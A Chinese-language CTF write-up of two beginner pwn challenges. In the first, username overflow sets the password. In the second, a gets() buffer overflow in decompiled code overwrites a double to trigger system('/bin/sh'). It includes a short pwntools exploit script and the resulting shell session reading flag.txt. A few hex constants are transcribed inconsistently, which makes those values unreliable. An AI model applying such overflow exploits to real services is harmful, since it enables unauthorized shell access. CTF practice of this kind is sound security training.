PWN-EasyOverflow1

挑战 6 Solves

EasyOverflow
456

maples

怎么有人随便输入就拿到flag了?! 我不能接受!

nc 81.69.243.226 30011
tips:linux nc

Flag

提交

给了个nc ip:port;

nc连接后发现要求输入username, 多次尝试输入发现规律,

username只读取前9位字符

please input your username: 123456789101112 welcome, 123456789 please input your password:

结合题意overflow可联想,超过9位的剩余字符在其他地方发挥了作用

尝试后可知, username处输入的10-18位成为了新的密码

please input your username: 123456789101112 welcome, 123456789 please input your password: 101112 flag{done_your_first_pwn}

输入密码即可获得flag

担心同学想不到溢出,也留了个预设密码 password 让大家猜

挑战 1解决 **

EasyOverflow2 500

maples_

先输入这个,再输入这个,最后再输入那个,最后再cat就拿到flag啦!

nc 81.69.243.226 30012



首先nc连接发现要题目要求我们输入一个数字,尝试输入无果

```
welcome! Guess a number to get the flag!
please input the number:
11.28
error,the number is 11.28maples_@LAPTOP-
```

打开附件

先用checksec 分析一下该文件

```
[*] '/mnt/c/Users/a1775/Desktop/pwn_deploy_chroot-master/bin/pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
```

发现基本保护全关

使用IDA打开该文件

```
I TRY LIEU Y MI TO THE THEORY OF THE PARTY O
   1 int __cdecl main(int argc, const char **argv, const char **envp)
    2 {
    3
                 char fake[9]; // [rsp+6h] [rbp-1Ah] BYREF
             char key[9]; // [rsp+Fh] [rbp-11h] BYREF
   4
             double number; // [rsp+18h] [rbp-8h]
    5
    6
    7
              setbuf(stdin, 0LL);
            setbuf(stdout, 0LL);
   8
   9
             setbuf(stderr, 0LL);
            strcpy(key, "password");
*(_QWORD *)fake = 0LL;
10
11
12 fake[8] = 0;
13
                 number = 0.0;
                  puts("welcome! Guess a number to get the flag!");
14
                  puts("please input the number:");
15
                  gets(fake);
16
               if ( number == 11.28125 )
17
                     system("/bin/sh");
18
19
               else
                        printf("error, the number is 11.28125");
20
21
                  return 0;
22 }
```

发现逆向出来的代码如上图

发现漏洞点 system ("/bin/sh")

观察代码发现溢出点 gets()函数,并且在number处需要填入11.28125

```
db '/bin/sh',0 ; DATA XREF: main+B6↑o
.rodata:000000000040204A command
.rodata:00000000000402052 ; const char format[]
.rodata:0000000000402052 format db 'error,the number is 11.28125',0
                                                                 ; DATA XREF: main:loc_40127F↑o
.rodata:0000000000402052
.rodata:000000000040206F
                                         align 10h
.rodata:000000000040206F align 10h
.rodata:000000000402070 qword 402070 dq 402690000000000h
                                                                 ; DATA XREF: main+9D1r
.rodata:0000000000402070
                                                                  : main+AC1r
.rodata:0000000000402070 _rodata
                                         ends
.rodata:0000000000402070
.eh_frame_hdr:0000000000402078 ; ======
.eh_frame_hdr:0000000000402078
```

11.28125 (double) 用0x40269000000000000表示

计算溢出量0x1A-0x8

```
-00000000000000001C
                              db ? ; undefined
                              db ? ; undefined
-00000000000000001B
                             db 9 dup(?)
-0000000000000001A fake
                            db 9 dup(?)
-00000000000000011 key
                             dq ?
-000000000000000008 number
+00000000000000000 s
                             db 8 dup(?)
+00000000000000008 r
                             db 8 dup(?)
+000000000000000010
```

编写脚本

```
from pwn import *
#连接
r = remote("81.69.243.226",30012)
#构造输入
payload = b'a'*18+p64(0x40269000000000)
r.sendline(payload)
r.interactive()
```

运行脚本得到权限,找到flag

```
maples_@LAPTOP-8K40N2D5:/mnt/c/Users/a1775/Desktop/pwn_deploy_
[+] Opening connection to 81.69.243.226 on port 30012: Done
[*] Switching to interactive mode
welcome! Guess a number to get the flag!
please input the number:
$ 1s
bin
dev
flag.txt
lib
lib32
lib64
pwn12
$ cat flag.txt
r00t{abdae1ff-1288-408f-a147-a1b979b888c2}
```